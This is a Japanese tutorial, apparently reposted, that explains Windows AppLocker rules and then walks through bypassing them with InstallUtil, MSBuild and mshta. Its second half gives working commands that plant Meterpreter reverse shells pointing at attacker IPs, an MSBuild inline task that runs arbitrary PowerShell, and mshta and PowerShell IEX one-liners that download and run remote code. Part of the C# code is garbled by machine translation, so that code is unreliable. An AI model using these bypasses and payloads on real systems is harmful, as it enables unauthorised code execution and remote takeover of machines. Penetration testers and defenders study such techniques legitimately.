ホームページ  >  記事  >  運用・保守  >  AppLocker バイパス分析を実行する方法

AppLocker バイパス分析を実行する方法

WBOY
WBOY転載
2023-05-15 10:55:19975ブラウズ

はじめに

applocker とは<br>

AppLocker (「アプリケーション コントロール ポリシー」) は、Windows 7 システムに新しく追加されたセキュリティ機能です。この機能は、win7 以降のシステムにデフォルトで統合されており、サービスでアプリケーション ID を有効にし、ローカル セキュリティ ポリシーのアプリケーション コントロール ポリシーで Applocker オプションを見つけることができます。

applocker ルール<br>

デフォルトの Applocker ルールは次のものをサポートしています:

ルール** | 関連するファイル形式 ---|--- 実行可能ファイル | .exe 、.com スクリプト | .ps1、.bat、.cmd、.vbs、.js Windows インストーラー ファイル | .msi、.msp、.mst パッケージ アプリケーションおよびパッケージ アプリケーション インストーラー | .appx DLL ファイル | .dll、.ocx

.appx はすべての applocker に存在するわけではありません。Windows のバージョンに応じて決定する必要があります。win10 では、applocker ルールを作成した後、対応する .applocker ファイルが C:\Windows\System32\AppLocker に生成されます。

applocker ルール条件<br>

ルール条件は、AppLocker がルールが適用されるアプリを識別するために使用される条件です。 3 つの主なルール条件は、発行者、パス、ファイル ハッシュです。

  • パブリッシャー: アプリケーションのデジタル署名に基づいて識別します。<br>

  • パス: コンピューターのファイル システム内のアプリケーションの場所またはそれを識別するためのネットワークの場所<br>

  • # ファイル ハッシュ: 識別されたファイルのシステムが計算した暗号化ハッシュを表します<br>

AppLocker バイパス分析を実行する方法

##AppLocker のデフォルト ルール<br>

Applocker ルールを作成すると、次の図に示すように、システムはデフォルトでデフォルト ルールを追加するかどうかを尋ねます。

AppLocker バイパス分析を実行する方法

各ルールに対応するデフォルト ルールは次のとおりです。

##実行可能なデフォルト ルールの種類は次のとおりです。

    #ローカル管理者グループのメンバーにすべてのアプリケーションの実行を許可します。
  • <br>

  • Everyone グループのメンバーが Windows フォルダー内のアプリを実行できるようにします。
  • <br>

  • #Everyone グループのメンバーに、Program Files フォルダー内のアプリの実行を許可します。
  • <br>

  • スクリプトのデフォルト ルール タイプは次のとおりです。

    ローカル管理者グループのメンバーにすべてのスクリプトの実行を許可します。
  • <br>

  • Everyone グループのメンバーが Program Files フォルダー内のスクリプトを実行できるようにします。
  • <br>

  • Everyone グループのメンバーが Windows フォルダー内のスクリプトを実行できるようにします。
  • <br>

  • Windows インストーラーのデフォルトのルール タイプは次のとおりです。

    ローカル管理者グループのメンバーにすべての Windows インストーラー ファイルの実行を許可します。
  • <br>

  • #Everyone グループのメンバーに、デジタル署名されたすべての Windows インストーラー ファイルの実行を許可します。
  • <br>

  • Everyone グループのメンバーは、Windows\Installer フォルダー内のすべての Windows インストーラー ファイルを実行できます。
  • <br>

  • DLL デフォルトのルール タイプ:

    ローカル管理者グループのメンバーにすべての DLL の実行を許可します。
  • <br>

  • Everyone グループのメンバーが Program Files フォルダー内の DLL を実行できるようにします。
  • <br>

  • Everyone グループのメンバーが Windows フォルダー内の DLL を実行できるようにします。
  • <br>

  • ラップされたアプリケーションのデフォルト ルール タイプ:

    Everyone グループのメンバーに、すべての署名済みパッケージおよびパッケージ化されたアプリケーションのインストールと実行を許可する インストーラー
  • <br>

    #AppLocker ルールの動作

許可アクションまたは拒否アクションを使用するようにルールを構成できます:<br>

許可する。環境内でどのファイルの実行を許可するか、またどのユーザーまたはユーザーのグループに対して実行を許可するかを指定できます。例外を構成して、ルールから除外されるファイルを識別することもできます。 ###############拒否する。環境内での実行を許可しないファイルと、その対象となるユーザーまたはグループを指定できます。例外を構成して、ルールから除外されるファイルを識別することもできます。
  • <br>

  • applocker ルールを作成する<br>

  • これまで述べてきたように、デスクトップでの exe の実行は禁止されました。ルールを作成する例としてファイルを作成します。作成内容はおおよそ次のとおりです:

AppLocker バイパス分析を実行する方法

exe テストを実行します: <br>

システムによって実行が妨げられますAppLocker バイパス分析を実行する方法

Applocker のバイパス<br>

Installutil.exe<br>

InstallUtil は .NET Framework の一部であり、ユーザーがコマンド プロンプトからすばやくインストールできるようにするコマンド ライン プログラムです。そしてアプリケーションをアンインストールします。このユーティリティは Microsoft 署名付きバイナリであるため、AppLocker の制限をバイパスして .NET 実行可能ファイルを実行するために使用できます。このユーティリティは Windows フォルダ内にもありますが、システムが正しく機能するには Windows フォルダの内容を実行する必要があるため、AppLocker ポリシーは適用されません。

まず、WhiteListEvasion (https://github.com/khr0x40sh/WhiteListEvasion) を使用してテンプレートを生成します

<br>
<br>

python InstallUtil.py --cs_file pentestlab.cs --exe_file /root/Desktop/pentestlab.exe --payload windows/meterpreter/reverse_https --lhost 192.168.0.103 --lport 443

AppLocker バイパス分析を実行する方法

上記のコマンドは、Metasploit ShellCode を含む C# テンプレートを生成します。

生成されたファイルをターゲットに配置し、次のメソッドを使用して実行します:

<br>
<br>

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= / LogToConsole=false /U /root/payload.exe

もちろん、msf を使用して csharp ペイロードを生成し、テンプレート内のシェルコードを置き換えて、cs ファイルをターゲット マシンに転送することもできます。

次に、csc を使用してスクリプトをコンパイルします。

<br>
<br>

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:exeshell.exe exeshell.cs

AppLocker バイパス分析を実行する方法

この時点で、ファイルを実行しようとします。

AppLocker バイパス分析を実行する方法

はルールによってインターセプトされるため、

<br>
<br>
を使用します。

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

Bypass

AppLocker バイパス分析を実行する方法

msf は正常にオンラインになりました

AppLocker バイパス分析を実行する方法

msf には、applocker に InstallUtil.exe を使用するバイパス モジュールもあります。

<br>
<br>

exploit/windows/local/applocker_bypass

原則は同じです

AppLocker バイパス分析を実行する方法

共通パスの場合:

  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe<br>

  • C:\Windows\Microsoft.NET\Framework64\ v2. 0.50727\InstallUtil.exe<br>

  • #C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe<br>

  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe<br>

Msbuild.exe<br>

MSBuild .exe (Microsoft Build Engine) は、Visual Studio で使用されるソフトウェア構築プラットフォームです。さまざまなプラットフォームや構成向けに構築するための要件を定義する XML 形式のプロジェクト ファイルが必要です。 (引用: MSDN MSBuild)

MSBuild を使用すると、信頼できる Windows ユーティリティを通じてコード実行をプロキシできます。 .NET バージョン 4 で導入された MSBuild インライン タスク機能を使用すると、C# コードを XML プロジェクト ファイルに挿入できます。インライン タスク MSBuild はインライン タスクをコンパイルして実行します。 MSBuild.exe は署名された Microsoft バイナリであるため、この方法で使用すると、任意のコードを実行し、MSBuild.exe の実行を許可するように構成されたアプリケーションのホワイトリスト保護をバイパスする可能性があります。

ここでは、GreatSCT を直接使用して XML ファイルを生成します。 。

<br>
<br>

./GreatSCT.py --ip 192.168.0.106 --port 4444 -t bypass -p msbuild/meterpreter/rev_tcp.py

AppLocker バイパス分析を実行する方法

and rc ファイルが生成されます。msfconsole -r を使用して msf を直接起動できます。

その後、msbuild を使用してそれを実行します。

AppLocker バイパス分析を実行する方法

msf は進みます。 online:

AppLocker バイパス分析を実行する方法

もちろん、msf を使用して C# シェルコードを生成し、Sanhao Student Master のテンプレートを使用してロードすることもできます:

https:/ /github.com/3gstudent/msbuild-inline-task/blob/master/executesshellcode.xml

サフィックス名が .csproj

に変更されることに注意してください。シェルを再バインドするだけでなく、これを使用して PowerShell の制限を回避することもできます。

AppLocker バイパス分析を実行する方法

コードは以下のように表示されます:

<br>
<br>

ターゲット> コード>タスク><usingtask assemblyfile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll"> <reference include="System.Management.Automation"></reference> "); 文字列 x = Console.ReadLine(); 試す { Console.WriteLine(RunPSCommand(x)); } catch (例外 e) { Console.WriteLine(e.Message); } } true を返します。 }//ジャレッド・アトキンソンとジャスティン・ワーナーの作品に基づく パブリック静的文字列 RunPSCommand(string cmd) { //初期化のもの ランスペース runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); パイプライン パイプライン = runspace.CreatePipeline(); // コマンドを追加する パイプライン.Commands.AddScript(cmd); //文字列出力用に PS を準備して呼び出します Pipeline.Commands.Add("Out-String"); コレクション<psobject>結果 = パイプライン.Invoke(); runspace.Close(); //レコードを文字列に変換する StringBuilder stringBuilder = new StringBuilder(); foreach (結果内の PSObject obj) { stringBuilder.Append(obj); } stringBuilder.ToString().Trim(); を返します。 } public static void RunPSFile(文字列スクリプト) { PowerShell ps = PowerShell.Create(); ps.AddScript(スクリプト).Invoke(); } } ]]> コード>タスク> タスクの使用中> プロジェクト></psobject></usingtask>

原地址:https://github.com/3gstudent/msbuild-inline-task/blob/master/executes PowerShellCommands.xml

AppLocker バイパス分析を実行する方法

powershell の制限を成功裏に突破しました。

通常のパスは次のとおりです:

  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\Msbuild。 exe<br>

  • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Msbuild.exe<br>

  • C :\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe<br>

  • C:\Windows\Microsoft.NET\Framework64\v3.5\Msbuild.exe <br>

  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe<br>

  • C: \Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe<br>

Mshta.exe<br>

mshta.exe は微软 Windows オペレーションですシステム関連プログラム、和文完全に Microsoft HTML アプリケーションは、.HTA ファイルを実行するためのマイクロ スクリプト アプリケーションとして翻訳されています。 msf のexploit/windows/misc/hta_server モジュールを使用してテストを実行します:

<br>
<br>

useexploit/windows/misc/hta_server msf エクスプロイト(windows/misc/hta_server) > srvhost 192.168.1.109 を設定します msf エクスプロイト(windows/misc/hta_server) >エクスプロイト

AppLocker バイパス分析を実行する方法目标机执行:

<br>
<br>

mshta.exe http://192.168.0.106:8080/JR1gb3TO6.hta

この方法の他に、cobaltstrike、Setoolkit、Magic unicorn、Empire、CactusTorch、Koadic、Great SCT などを使用して、オンラインで実行することもできます。ダウンロード形式でペイロードを実行します。例:

<br>
<br>

mshta.exe javascript:a=GetObject("script:https://gist.github.com/someone/something.sct").Exec();close ();

上記の方法に加えて、mshta を使用して powershell を実行できます:

<br>
<br>

Set objShell = CreateObject("Wscript.Shell") objShell.Run "powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/')" スクリプト>

以上がAppLocker バイパス分析を実行する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。